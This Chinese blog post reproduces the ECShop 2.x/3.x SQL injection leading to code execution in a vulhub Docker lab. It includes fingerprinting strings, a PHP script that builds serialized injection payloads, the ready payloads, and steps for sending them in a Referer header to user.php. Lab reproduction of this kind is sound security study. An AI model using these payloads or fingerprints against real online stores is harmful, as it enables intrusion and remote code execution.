[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、指纹信息
  • 五、环境搭建
    • 1、进入xianzhi-2017-02-82239600
    • 2、启动xianzhi-2017-02-82239600环境
    • 3、查看xianzhi-2017-02-82239600环境
    • 4、查看xianzhi-2017-02-82239600提示信息
    • 5、访问xianzhi-2017-02-82239600环境
    • 6、安装xianzhi-2017-02-82239600环境
      • 1.安装2.7.3版本
        • 配置相关信息进行安装
        • 安装完成
        • 再次访问
      • 2.安装3.6.0版本
        • 配置相关信息进行安装
        • 安装完成
        • 再次访问
      • 3.规避小坑
    • 7、关闭xianzhi-2017-02-82239600环境
  • 六、漏洞复现
    • 1、脚本生成POC文件
      • 1.脚本内容
      • 2.生成POC文件
    • 2、2.x版本复现
      • 1.进入登录页面抓包
      • 2.POC注入请求包
    • 3、3.x版本复现
      • 1.进入登录页面抓包
      • 2.POC注入请求包
  • 七、漏洞修复

一、漏洞编号

xianzhi-2017-02-82239600

二、影响范围

ECShop 2.x
ECShop 3.x

三、漏洞描述

ECShop是一个B2C独立商店系统,供公司和个人快速建立个性化的在线商店。该系统是基于PHP语言和MYSQL数据库体系结构的跨平台开源程序。在2017年及之前的版本中,存在一个SQL注入漏洞,该漏洞可能会注入有效载荷并最终导致代码执行漏洞。最新版本的3.6.0已修复此漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本来重现该漏洞

四、指纹信息

"match": "title_contains",
"content": "powered by ecshop"

"match": "header_contains",
"content": "ecs_id"

"match": "body_contains",
"content": "content=\"ecshop"

五、环境搭建

1、进入xianzhi-2017-02-82239600

cd vulhub/ecshop/xianzhi-2017-02-82239600

在这里插入图片描述

2、启动xianzhi-2017-02-82239600环境

docker-compose up -d

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第1张图片

3、查看xianzhi-2017-02-82239600环境

docker-compose ps 

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第2张图片

4、查看xianzhi-2017-02-82239600提示信息

cat README.md

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第3张图片

5、访问xianzhi-2017-02-82239600环境

分别访问8080端口和8081端口
启动环境后,访问http://your-ip:8080,可以看到2.7.3版本安装页面。
访问http://your-ip:8081,可以看到3.6.0版本安装页面。

http://192.168.13.131:8080/

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第4张图片

http://192.168.13.131:8081/

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第5张图片

6、安装xianzhi-2017-02-82239600环境

两个环境全部安装,mysql地址为mysql,mysql帐户和密码为root,数据库名称可以自由填写,但是2.7.3和3.6.0的数据库名称不能相同。

1.安装2.7.3版本

配置相关信息进行安装

http://192.168.13.131:8080/install/index.php?lang=zh_cn&step=setting_ui&ui=

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第6张图片

安装完成

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第7张图片

再次访问

http://192.168.13.131:8080/

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第8张图片

2.安装3.6.0版本

配置相关信息进行安装

http://192.168.13.131:8081/install/index.php?lang=zh_cn&step=setting_ui&ui=

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第9张图片

安装完成

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第10张图片

再次访问

http://192.168.13.131:8081/

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第11张图片

3.规避小坑

上面降到了有个小坑,这里稍微解释一下
localhost需要改成mysql,我相信会有很多小伙伴会不细心,忘记修改这里
如果没有修改进行安装的话,连接不上数据库,会显示如下界面

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第12张图片

7、关闭xianzhi-2017-02-82239600环境

docker-compose down

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第13张图片

六、漏洞复现

1、脚本生成POC文件

1.脚本内容

这个脚本可以生成2.x版本和3.x版本执行phpinfo的POC:

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

2.生成POC文件

利用上面的 php 脚本文件生成POC

在这里插入图片描述

脚本内容,在文末也会给出下载链接

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第14张图片

运行 php 脚本文件即可生成POC

php exp.php

得到两个POC,下面我们一一测试

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第15张图片

POC for ECShop 2.x:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x:

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a  

2、2.x版本复现

点击登录进入user.php页面

http://192.168.13.131:8080/user.php

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第16张图片

1.进入登录页面抓包

将抓到的包放入重放攻击模块,查看render,发现处于未登录状态

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第17张图片

2.POC注入请求包

POC for ECShop 2.x:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第18张图片

http://192.168.13.131:8080/user.php

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第19张图片

3、3.x版本复现

点击登录进入user.php页面

http://192.168.13.131:8081/user.php

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第20张图片

1.进入登录页面抓包

将抓到的包放入重放攻击模块,查看render,发现处于未登录状态

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第21张图片

2.POC注入请求包

POC for ECShop 3.x:

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a 

将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第22张图片

修改刚刚抓到的包进行发送,浏览器访问看到phpinfo信息

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第23张图片

http://192.168.13.131:8081/user.php

[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600_第24张图片

七、漏洞修复

更新到最新版本

你可能感兴趣的:(vulhub,SQL注入/远程执行代码,vulhub漏洞复现,ECShop,渗透测试,网络安全)